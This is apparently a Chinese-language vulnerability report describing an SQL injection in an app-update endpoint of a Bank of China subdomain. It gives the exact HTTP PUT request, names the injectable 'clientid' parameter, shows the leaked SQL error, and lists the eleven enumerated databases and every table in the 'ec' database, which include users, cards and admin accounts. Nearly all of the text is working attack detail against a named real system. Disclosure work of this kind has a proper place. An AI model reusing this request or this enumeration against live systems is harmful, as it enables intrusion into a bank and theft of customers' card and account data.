中国银行某站MySQL注射（涉及管理员密码/大量用户卡号信息）

PUT /interFace/getAppUpdate.php HTTP/1.1
 Host: open.boc.cn
 Content-Type: application/json
 Connection: close
 Accept: application/json
 User-Agent: ESchool/1.1 CFNetwork/758.3.15 Darwin/15.4.0
 Accept-Language: zh-cn
 Accept-Encoding: gzip, deflate
 Content-Length: 29
 
 {"clientid":"399","type":"1"}

注入参数#clientid

{"clientkey":"399","version":"1.0.2","appversion":"177","appurl":"http:////open.boc.cn//apps//appdownload//41295","need_update":"0","new_function":"","appfilesize":"","incrementSize":""}

<b>MySQL server error report:Array
 (
     [0] => Array
         (
             [message] => MySQL Query Error
         )
 
     [1] => Array
         (
             [sql] => SELECT goods_name,ios_file,app_version,goods_id,client_key as clientkey,need_update,new_function,category_ver as appversion FROM `ec`.`aps_goods`  where  client_key=399'
         )
 
     [2] => Array
         (
             [error] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
         )
 
     [3] => Array
         (
             [errno] => 1064
         )
 
 )

available databases [11]:
 [*] bim
 [*] container
 [*] ec
 [*] ezcis
 [*] information_schema
 [*] mysql
 [*] ndbinfo
 [*] performance_schema
 [*] sap
 [*] test
 [*] ultrax

当前数据库：ec

+-------------------------------+
 | aps_account_log               |
 | aps_ad                        |
 | aps_ad_custom                 |
 | aps_ad_position               |
 | aps_admin_action              |
 | aps_admin_log                 |
 | aps_admin_message             |
 | aps_admin_user                |
 | aps_adsense                   |
 | aps_affiliate_log             |
 | aps_agency                    |
 | aps_apps                      |
 | aps_apps_bak150321            |
 | aps_apps_bak151205            |
 | aps_apps_cat                  |
 | aps_apps_relation             |
 | aps_area_region               |
 | aps_article                   |
 | aps_article_cat               |
 | aps_article_cat_bak           |
 | aps_article_comment           |
 | aps_attribute                 |
 | aps_auction_log               |
 | aps_auto_manage               |
 | aps_back_goods                |
 | aps_back_order                |
 | aps_bank_info                 |
 | aps_banner                    |
 | aps_bonus_type                |
 | aps_booking_goods             |
 | aps_brand                     |
 | aps_card                      |
 | aps_card_trans_audit          |
 | aps_cart                      |
 | aps_cat_recommend             |
 | aps_category                  |
 | aps_collect_goods             |
 | aps_comment                   |
 | aps_crons                     |
 | aps_custom_pads               |
 | aps_customs                   |
 | aps_dcode                     |
 | aps_delivery_goods            |
 | aps_delivery_order            |
 | aps_dic_h5_interface          |
 | aps_dic_paper_category        |
 | aps_dic_site_letter           |
 | aps_download_log              |
 | aps_email_list                |
 | aps_email_sendlist            |
 | aps_error_log                 |
 | aps_exchange_goods            |
 | aps_failedlogin               |
 | aps_favourable_activity       |
 | aps_feedback                  |
 | aps_friend_link               |
 | aps_general_bank              |
 | aps_general_interface         |
 | aps_goods                     |
 | aps_goods_20141206            |
 | aps_goods_activity            |
 | aps_goods_article             |
 | aps_goods_attr                |
 | aps_goods_bak150321           |
 | aps_goods_bak151205           |
 | aps_goods_cat                 |
 | aps_goods_gallery             |
 | aps_goods_interface           |
 | aps_goods_interface_bak151205 |
 | aps_goods_relation            |
 | aps_goods_type                |
 | aps_goods_whites              |
 | aps_group_goods               |
 | aps_interface                 |
 | aps_interface0321             |
 | aps_keywords                  |
 | aps_link_goods                |
 | aps_log_conf                  |
 | aps_log_data                  |
 | aps_log_goods_download        |
 | aps_mail_templates            |
 | aps_manage_ip                 |
 | aps_match_goods               |
 | aps_matchor                   |
 | aps_member_price              |
 | aps_nav                       |
 | aps_order_action              |
 | aps_order_goods               |
 | aps_order_info                |
 | aps_pack                      |
 | aps_package_goods             |
 | aps_para_info                 |
 | aps_para_type                 |
 | aps_pay_log                   |
 | aps_payment                   |
 | aps_plugins                   |
 | aps_poster                    |
 | aps_poster_copy               |
 | aps_products                  |
 | aps_reg_extend_info           |
 | aps_reg_fields                |
 | aps_region                    |
 | aps_role                      |
 | aps_searchengine              |
 | aps_sessions                  |
 | aps_sessions_data             |
 | aps_shipping                  |
 | aps_shipping_area             |
 | aps_shop_config               |
 | aps_snatch_log                |
 | aps_special_url               |
 | aps_stats                     |
 | aps_suppliers                 |
 | aps_tag                       |
 | aps_template                  |
 | aps_topic                     |
 | aps_user_account              |
 | aps_user_address              |
 | aps_user_app                  |
 | aps_user_bonus                |
 | aps_user_feed                 |
 | aps_user_pictures             |
 | aps_user_pictures_copy        |
 | aps_user_rank                 |
 | aps_user_test_account         |
 | aps_user_test_card            |
 | aps_user_trans_audit          |
 | aps_users                     |
 | aps_users_bak                 |
 | aps_users_bak150321           |
 | aps_users_bak150321_copy      |
 | aps_users_copy                |
 | aps_validate_code             |
 | aps_validate_code_copy        |
 | aps_virtual_card              |
 | aps_volume_price              |
 | aps_vote                      |
 | aps_vote_log                  |
 | aps_vote_option               |
 | aps_wholesale                 |
 +-------------------------------+